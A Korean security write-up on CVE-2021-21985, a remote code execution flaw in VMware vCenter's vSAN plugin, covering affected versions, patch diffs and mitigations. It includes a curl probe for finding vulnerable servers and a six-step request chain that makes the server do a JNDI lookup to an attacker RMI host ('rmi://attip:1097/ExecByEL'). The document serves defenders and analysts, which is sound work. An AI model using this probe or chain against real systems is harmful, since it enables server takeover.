1. vCenter Server
- VM웨어는 클라우드 서비스 플랫폼을 구축하기 위하여 vSphere 솔루션을 공급
- vSphere : 가상화를 활용하여 데이터센터를 단순화된 클라우드 컴퓨팅 인프라로 전환하여 IT 조직에서 유연하고 안정적인 서비스를 제공하기 위한 목적으로 사용
- 이러한 환경을 중앙에서 편리에서 관리할 수 있도록 vCenter Server를 제공
- vCenter Server : 다중 호스트의 리소스를 관리할 수 있으며, 물리 및 가상 인프라를 중앙에서 모니터링하고 관리
2. 취약점
[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-21985
- vCenter Server에서 제공되는 Virtual SAN 상태 점검 플러그인(vSAN 플러그인)의 입력 유효성 검사 부족 으로 인한 원격 코드 실행 취약성
- 해당 취약점을 Exploit에 성공할 경우 서버 전체를 장악 가능함
① 영향받는 버전 - VMware vCenter Server 버전 6.5, 6.7 및 7.0 - Cloud Foundation(vCenter Server) 버전 3.x ~ 4.x ② 조건 443 Port에 대한 네트워크 엑세스 권한 有
2.1 분석
- vSAN 플러그인은 사용 유무에 관계 없이 모든 vCenter Server 배포시 기본 활성화
- invokeServiceWithJson() 메서드에서 사용자 요청값에대한 입력값에 대한 검증 없이 추출 후 매개변수로 사용
※ 경로 : src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java
[사진 2] src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java
- 먼저 공격자는 취약점이 존재하는 인터넷에 노출된 VMware vCenter 장치를 쇼단 또는 curl 명령 등을 통해 찾음
- 아래 curl 명령을 사용할 경우 응답값 내에서 {“result”:{“isDisconnected”: 를 찾음 (취약한 경우 false 반환)
curl -k -X POST -H 'Content-Type: application/json' -d '{"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}' 'https://<target>/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData'
[사진 3] shodan 검색 화면
- 이후 공격자는 다음의 명령을 순차적으로 수행해 Exploit을 수행함
Step1
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetObject
{"methodInput":[null]}
Step2
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setStaticMethod
{"methodInput":["javax.naming.InitialContext.doLookup"]}
Step3
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetMethod
{"methodInput":["doLookup"]}
Step4
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setArguments
{"methodInput":[["rmi://attip:1097/ExecByEL"]]}
Step5
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/prepare
{"methodInput":[]}
Step6
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/invoke
{"methodInput":[]}
3. 대응방안
3.1 서버측면
① 벤더사에서 제공하는 보안 패치 적용
제품
플랫폼
영향받는 버전
최신 버전
vCenter Server
모든 플랫폼
6.5
6.5 U3p
6.7
6.7 U3n
7.0
7.0 U2b
Cloud Foundation
3.x
3.10.2.1
4.x
4.2.1
- Virtual SAN 상태 점검 플러그인의 /rest/* 끝점에 인증을 추가
--- a/unpatched/src/h5-vsan-context.jar/WEB-INF/web.xml
+++ b/patched/src/h5-vsan-context.jar/WEB-INF/web.xml
@@ -5,6 +5,21 @@
<display-name>h5-vsan-service</display-name>
+ <context-param>
+ <param-name>contextConfigLocation</param-name>
+ <param-value>/WEB-INF/spring/bundle-context.xml</param-value>
+ </context-param>
+
+ <!-- The application context needs to be OSGI-enabled in order to look up services -->
+ <context-param>
+ <param-name>contextClass</param-name>
+ <param-value>org.eclipse.virgo.web.dm.ServerOsgiBundleXmlWebApplicationContext</param-value>
+ </context-param>
+
+ <listener>
+ <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
+ </listener>
+
<!-- Processes application requests -->
<servlet>
<servlet-name>springServlet</servlet-name>
@@ -12,7 +27,7 @@
<init-param>
<param-name>contextConfigLocation</param-name>
- <param-value>/WEB-INF/spring/bundle-context.xml</param-value>
+ <param-value>/WEB-INF/spring/empy-context.xml</param-value>
</init-param>
<!-- The application context needs to be OSGI-enabled in order to look up services -->
@@ -40,4 +55,14 @@
<url-pattern>/*</url-pattern>
</filter-mapping>
+ <filter>
+ <filter-name>authenticationFilter</filter-name>
+ <filter-class>com.vmware.vsan.client.services.AuthenticationFilter</filter-class>
+ </filter>
+
+ <filter-mapping>
+ <filter-name>authenticationFilter</filter-name>
+ <url-pattern>/rest/*</url-pattern>
+ </filter-mapping>
+
</web-app>
package com.vmware.vsan.client.services;
import com.vmware.vise.usersession.UserSessionService;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.config.AutowireCapableBeanFactory;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
public class AuthenticationFilter implements Filter {
private static final Logger logger = LoggerFactory.getLogger(AuthenticationFilter.class);
@Autowired
private UserSessionService userSessionService;
public void init(FilterConfig filterConfig) {
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(filterConfig.getServletContext());
AutowireCapableBeanFactory factory = context.getAutowireCapableBeanFactory();
factory.autowireBean(this);
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
if (this.userSessionService.getUserSession() == null) {
HttpServletRequest httpRequest = (HttpServletRequest)request;
HttpServletResponse httpResponse = (HttpServletResponse)response;
logger.warn(String.format("Null session detected for a %s request to %s", new Object[] { httpRequest.getMethod(), httpRequest.getRequestURL() }));
httpResponse.setStatus(401);
return;
}
filterChain.doFilter(request, response);
}
public void destroy() {}
}
- 입력 유효성 검사가 com.vmware.vsan.client.services.ProxygenController 클래스에 추가
--- a/unpatched/src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java
+++ b/patched/src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java
@@ -1,151 +1,152 @@
package com.vmware.vsan.client.services;
import com.google.common.collect.ImmutableMap;
import com.google.gson.Gson;
+import com.vmware.proxygen.ts.TsService;
import com.vmware.vim.binding.vmodl.LocalizableMessage;
import com.vmware.vim.binding.vmodl.MethodFault;
import com.vmware.vim.binding.vmodl.RuntimeFault;
import com.vmware.vsphere.client.vsan.util.MessageBundle;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.apache.commons.lang.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
@Controller
@RequestMapping({"/proxy"})
public class ProxygenController extends RestControllerBase {
private static final Logger logger = LoggerFactory.getLogger(ProxygenController.class);
@Autowired
private BeanFactory beanFactory;
@Autowired
private MessageBundle messages;
@RequestMapping(value = {"/service/{beanIdOrClassName}/{methodName}"}, method = {RequestMethod.POST}, consumes = {"application/json"}, produces = {"application/json"})
@ResponseBody
public Object invokeServiceWithJson(@PathVariable("beanIdOrClassName") String beanIdOrClassName, @PathVariable("methodName") String methodName, @RequestBody Map<String, Object> body) throws Exception {
List<Object> rawData = null;
try {
rawData = (List<Object>)body.get("methodInput");
} catch (Exception e) {
logger.error("service method failed to extract input data", e);
return handleException(e);
}
return invokeService(beanIdOrClassName, methodName, null, rawData);
}
@RequestMapping(value = {"/service/{beanIdOrClassName}/{methodName}"}, method = {RequestMethod.POST}, consumes = {"multipart/form-data"}, produces = {"application/json"})
@ResponseBody
public Object invokeServiceWithMultipartFormData(@PathVariable("beanIdOrClassName") String beanIdOrClassName, @PathVariable("methodName") String methodName, @RequestParam("file") MultipartFile[] files, @RequestParam("methodInput") String rawData) throws Exception {
List<Object> data = null;
try {
Gson gson = new Gson();
data = (List<Object>)gson.fromJson(rawData, List.class);
} catch (Exception e) {
logger.error("service method failed to extract input data", e);
return handleException(e);
}
return invokeService(beanIdOrClassName, methodName, files, data);
}
private Object invokeService(String beanIdOrClassName, String methodName, MultipartFile[] files, List<Object> data) throws Exception {
try {
Object bean = null;
String beanName = null;
Class<?> beanClass = null;
try {
beanClass = Class.forName(beanIdOrClassName);
beanName = StringUtils.uncapitalize(beanClass.getSimpleName());
} catch (ClassNotFoundException classNotFoundException) {
beanName = beanIdOrClassName;
}
try {
bean = this.beanFactory.getBean(beanName);
} catch (BeansException beansException) {
bean = this.beanFactory.getBean(beanClass);
}
byte b;
int i;
Method[] arrayOfMethod;
for (i = (arrayOfMethod = bean.getClass().getMethods()).length, b = 0; b < i; ) {
Method method = arrayOfMethod[b];
- if (!method.getName().equals(methodName)) {
+ if (!method.getName().equals(methodName) || !method.isAnnotationPresent((Class)TsService.class)) {
b++;
continue;
}
ProxygenSerializer serializer = new ProxygenSerializer();
Object[] methodInput = serializer.deserializeMethodInput(data, files, method);
Object result = method.invoke(bean, methodInput);
Map<String, Object> map = new HashMap<>();
map.put("result", serializer.serialize(result));
return map;
}
} catch (Exception e) {
logger.error("service method failed to invoke", e);
return handleException(e);
}
logger.error("service method not found: " + methodName + " @ " + beanIdOrClassName);
return handleException(null);
}
private Object handleException(Throwable t) {
if (t instanceof InvocationTargetException)
return handleException(((InvocationTargetException)t).getTargetException());
if (t instanceof java.util.concurrent.ExecutionException && t.getCause() != t)
return handleException(t.getCause());
if (t instanceof com.vmware.vise.data.query.DataException && t.getCause() != t)
return handleException(t.getCause());
if (t instanceof com.vmware.vim.vmomi.client.common.UnexpectedStatusCodeException)
return ImmutableMap.of("error", this.messages.string("util.dataservice.notRespondingFault"));
if (t instanceof VsanUiLocalizableException) {
VsanUiLocalizableException localizableException = (VsanUiLocalizableException)t;
return ImmutableMap.of("error", this.messages.string(
localizableException.getErrorKey(), localizableException.getParams()));
}
LocalizableMessage[] faultMessage = null;
String vmodlMessage = null;
if (t instanceof MethodFault) {
faultMessage = ((MethodFault)t).getFaultMessage();
vmodlMessage = ((MethodFault)t).getMessage();
} else if (t instanceof RuntimeFault) {
faultMessage = ((RuntimeFault)t).getFaultMessage();
vmodlMessage = ((RuntimeFault)t).getMessage();
}
if (faultMessage != null) {
byte b;
int i;
LocalizableMessage[] arrayOfLocalizableMessage;
for (i = (arrayOfLocalizableMessage = faultMessage).length, b = 0; b < i; ) {
LocalizableMessage localizable = arrayOfLocalizableMessage[b];
if (localizable.getMessage() != null && !localizable.getMessage().isEmpty())
return ImmutableMap.of("error", localizeFault(localizable.getMessage()));
if (localizable.getKey() != null && !localizable.getKey().isEmpty())
return ImmutableMap.of("error", localizeFault(localizable.getKey()));
b++;
}
}
if (StringUtils.isNotBlank(vmodlMessage))
return ImmutableMap.of("error", vmodlMessage);
return ImmutableMap.of("error", this.messages.string("vsan.common.generic.error"));
}
private String localizeFault(String key) {
return key;
}
}
② 보안 패치가 불가할 경우 해당 플러그인을 "호환되지 않음"으로 설정
- UI 내에서 플러그인을 비활성화하여도 공격을 방지하지 않음
- VCHA(vCenter High Availability)를 실행하는 환경의 활성 노드와 수동 노드 모두에서 적용되어야 함
VMware Knowledge Base
kb.vmware.com
※ vCenter Server는 여러 조직과 서비스들이 함께 사용하는 복잡한 운영 환경으로 인해 패치 적용이 어려운 상황
3.2 네트워크 측면
① 공격 시도를 탐지할 수 있는 정책 설정 및 적용
- /ui/h5-vsan/rest/*
4. 참고
- https://nvd.nist.gov/vuln/detail/CVE-2021-21985
- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36052
- https://www.vmware.com/security/advisories/VMSA-2021-0010.html
- https://pentest-tools.com/blog/exploit-vmware-vcenter-rce-cve-2021-21985
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/vmware_vcenter_vsan_health_rce.rb
- https://blog.alyac.co.kr/3797
- https://cert.360.cn/report/detail?id=931e631529a7025cdd60e60819e4a601
- https://github.com/xnianq/cve-2021-21985_exp
- https://www.programmersought.com/article/22519046437/
- https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985/rapid7-analysis?referrer=home
- https://iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/
- https://kb.vmware.com/s/article/83829
- https://www.kisa.or.kr/20205/form?postSeq=1016&page=1